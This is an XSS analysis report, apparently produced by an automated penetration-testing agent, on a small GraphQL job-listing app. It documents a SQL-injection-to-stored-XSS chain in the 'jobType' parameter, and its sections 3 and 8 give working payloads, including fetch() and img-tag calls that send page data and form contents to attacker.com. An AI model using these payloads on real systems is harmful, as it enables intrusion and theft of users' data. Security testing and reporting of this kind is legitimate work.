# Cross-Site Scripting (XSS) Analysis Report

## 1. Executive Summary

- **Analysis Status:** Complete  
- **Key Outcome:** One high-confidence Stored XSS vulnerability was identified and confirmed through live browser testing. The vulnerability has been passed to the exploitation phase via `deliverables/xss_exploitation_queue.json`.  
- **Purpose of this Document:** This report provides the strategic context, dominant patterns, and environmental intelligence necessary to effectively exploit the confirmed XSS vulnerability.

**Summary of Findings:**
- **1 Exploitable Stored XSS** vulnerability confirmed with live execution in browser
- **1 Safe sink** identified with dangerous pattern but no exploitable path in current implementation
- **Attack Vector:** SQL Injection → Stored XSS chain via unsanitized database output
- **Impact:** Full JavaScript execution capability, session hijacking potential, complete account compromise

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## 2. Dominant Vulnerability Patterns

**Pattern 1: SQL Injection → Stored XSS Chain**  
- **Description:** The application demonstrates a critical vulnerability chain where SQL injection in the GraphQL `jobType` parameter allows an attacker to inject malicious HTML/JavaScript that is then rendered unsafely through `innerHTML` in the frontend. The vulnerability exists because:
  1. Backend uses unsafe f-string interpolation for SQL query construction (main.py:60)
  2. No output encoding is applied to database values returned by GraphQL resolver
  3. Frontend renders job data using `innerHTML` without any HTML sanitization (index.html:96)
- **Implication:** This is a **compound vulnerability** requiring exploitation of both SQL injection and lack of output encoding. Attackers can inject arbitrary JavaScript that executes in victims' browsers when they view the job listing.  
- **Representative Finding:** XSS-VULN-01 (Stored XSS via SQL Injection in Job Data Rendering)  

**Pattern 2: innerHTML Usage Without Sanitization**  
- **Description:** The application consistently uses `innerHTML` to render dynamic content without any HTML encoding or sanitization. While only one sink is exploitable, the pattern is pervasive and represents a systemic code quality issue.
- **Implication:** Any future features that render user-controlled data will likely inherit this vulnerability pattern unless developers implement proper output encoding.
- **Representative Finding:** Error message rendering (index.html:61-65) - uses dangerous pattern but not exploitable in current implementation.

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## 3. Strategic Intelligence for Exploitation

**Content Security Policy (CSP) Analysis**  
- **Current CSP:** **NONE** - No Content-Security-Policy header is present
- **Impact:** Complete absence of CSP means there are no restrictions on:
  - Inline script execution (`<script>` tags and event handlers work fully)
  - External script sources (can load scripts from any domain)
  - `eval()` and similar dangerous JavaScript functions
  - Data exfiltration to external domains
- **Exploitation Recommendation:** The lack of CSP makes exploitation trivial. Standard XSS payloads work without any encoding or obfuscation. Exploitation should focus on:
  - Session token theft via `document.cookie` access
  - Form hijacking to capture user credentials
  - Keylogging to capture sensitive input
  - Defacement or phishing attacks

**Cookie Security**  
- **Observation:** The application has **NO session cookies** at all - it's completely stateless with no authentication mechanism
- **Impact:** While this eliminates traditional session hijacking, it also means:
  - No HttpOnly protection needed (no cookies to steal)
  - XSS impact is limited to actions performed within the victim's browser session
  - Cannot use XSS to steal persistent authentication tokens
- **Exploitation Recommendation:** Focus on:
  - Browser-based attacks (capturing form submissions, monitoring user actions)
  - Using the victim's browser as a proxy for authenticated actions
  - Data exfiltration of sensitive information displayed in the UI
  - Phishing attacks by modifying the page content

**CORS Policy**  
- **Observation:** No CORS middleware configured
- **Impact:** The application will use browser default CORS policy, which typically blocks cross-origin requests
- **Exploitation Consideration:** XSS payloads can make same-origin requests freely, but exfiltrating data to attacker-controlled servers may require:
  - Using image tags: `<img src="https://attacker.com/log?data=...">` (works across origins)
  - JSONP if available
  - WebSockets if needed

**GraphQL API Security**  
- **Observation:** GraphQL introspection is enabled by default
- **Impact:** Attackers can enumerate the entire schema to discover all available queries and types
- **Exploitation Path:** The XSS vulnerability is accessed through the `jobs` query with a malicious `jobType` parameter

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## 4. Vectors Analyzed and Confirmed Secure

These input vectors were traced and confirmed to have no exploitable XSS path in the current implementation.

| Source (Parameter/Key) | Endpoint/File Location | Sink Function | Defense Mechanism Implemented | Render Context | Verdict | Reason |
|------------------------|------------------------|---------------|-------------------------------|----------------|---------|---------|
| Error messages | index.html:61-65 | `innerHTML` | None (but errors don't reflect input) | HTML_BODY | SAFE | While the code uses dangerous `innerHTML` pattern, error messages are either hardcoded ("Only admins can see private jobs") or generic SQLite errors that don't reflect user input. No exploitable path exists. |

**Note:** The error message sink represents a **vulnerable code pattern** that should be fixed (use `textContent` instead of `innerHTML`), but is not currently **exploitable** given the application's error handling behavior.

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## 5. Analysis Constraints and Blind Spots

**Application Constraints:**
- **No Authentication System:** The application has zero authentication, which limits some XSS attack scenarios (no session hijacking possible) but expands others (all users see the same data, making stored XSS more impactful)
- **Stateless Architecture:** No session state means XSS cannot be used to steal persistent authentication tokens
- **SQLite Database:** In-memory database that resets on application restart limits persistence of stored XSS payloads

**Analysis Completeness:**
- **All identified sinks analyzed:** Both XSS sinks from reconnaissance phase (error rendering and job data rendering) were systematically analyzed
- **Complete source-to-sink traces:** Full backward data flow analysis performed from each sink to ultimate data source
- **Live browser confirmation:** XSS vulnerability confirmed with actual JavaScript execution in Chrome browser via Playwright
- **No blind spots identified:** The application codebase is minimal (200 lines total), allowing for comprehensive analysis

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## 6. Environmental Security Context

**Security Headers Analysis:**
| Header | Status | Impact on XSS Exploitation |
|--------|--------|---------------------------|
| Content-Security-Policy | ❌ Missing | No restrictions on inline scripts, external script sources, or data exfiltration |
| X-Frame-Options | ❌ Missing | Application can be embedded in iframes, enabling clickjacking combined with XSS |
| X-Content-Type-Options | ❌ Missing | No MIME-type protection, potential for additional attack vectors |
| X-XSS-Protection | ❌ Missing | No browser-level XSS filtering (though deprecated, still adds defense-in-depth) |

**Framework Behavior:**
- **Strawberry GraphQL (v0.235.0):** Does not perform HTML encoding on string fields returned in responses
- **Starlette (v0.37.2):** No built-in XSS protection mechanisms
- **Browser:** Modern browsers (Chrome/Firefox) do not automatically encode innerHTML assignments

**Database Behavior:**
- **SQLite3:** Stores TEXT fields as-is with no encoding, allowing raw HTML/JavaScript to persist
- **No stored procedures or triggers:** Database has no defensive mechanisms against malicious data

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## 7. Complete Vulnerability Inventory

**Exploitable Vulnerabilities:** 1
**Safe Patterns Identified:** 1

### Exploitable Vulnerability Detail

**XSS-VULN-01: Stored XSS via SQL Injection in Job Data Rendering**
- **Vulnerability Type:** Stored XSS (enabled by SQL Injection)
- **Sink Location:** index.html:96 (`resultDiv.innerHTML = jobsTable`)
- **Source:** SQL injection in GraphQL `jobType` parameter → database values → unsanitized output
- **Render Context:** HTML_BODY (specifically HTML table cells)
- **Encoding Observed:** None
- **Verdict:** Vulnerable
- **Confidence:** High (confirmed with live browser execution)
- **External Exploitability:** Yes - exploitable via public internet without any authentication
- **Witness Payload:** `' UNION SELECT 1, '<img src=x onerror=alert(1)>', 'xss', 'xss' --`
- **Proof:** Alert dialog executed in browser, screenshot captured at `.playwright-mcp/xss-stored-proof.png`

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## 8. Exploitation Recommendations

**Primary Attack Path:**
1. Craft SQL injection payload with embedded JavaScript: `' UNION SELECT 1, '<img src=x onerror=PAYLOAD>', 'xss', 'xss' --`
2. Submit via GraphQL query to `/graphql` endpoint
3. JavaScript executes when any user (including victim) views the job listing

**Recommended Exploit Payloads:**
- **Proof of Concept:** `<img src=x onerror=alert(document.domain)>`
- **Data Exfiltration:** `<img src=x onerror="fetch('https://attacker.com/log?data='+encodeURIComponent(document.body.innerHTML))">`
- **Form Hijacking:** `<img src=x onerror="document.forms[0].onsubmit=function(){fetch('https://attacker.com/steal',{method:'POST',body:JSON.stringify({form:new FormData(this)})})}">` 
- **Page Defacement:** `<img src=x onerror="document.body.innerHTML='<h1>Hacked</h1>'">`

**Key Success Factors:**
- No authentication required - any network client can inject payload
- No CSP - inline scripts execute freely
- No WAF or input filtering - payloads pass through unmodified
- Persistent impact - all users see the malicious data (until server restart)

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**END OF XSS ANALYSIS REPORT**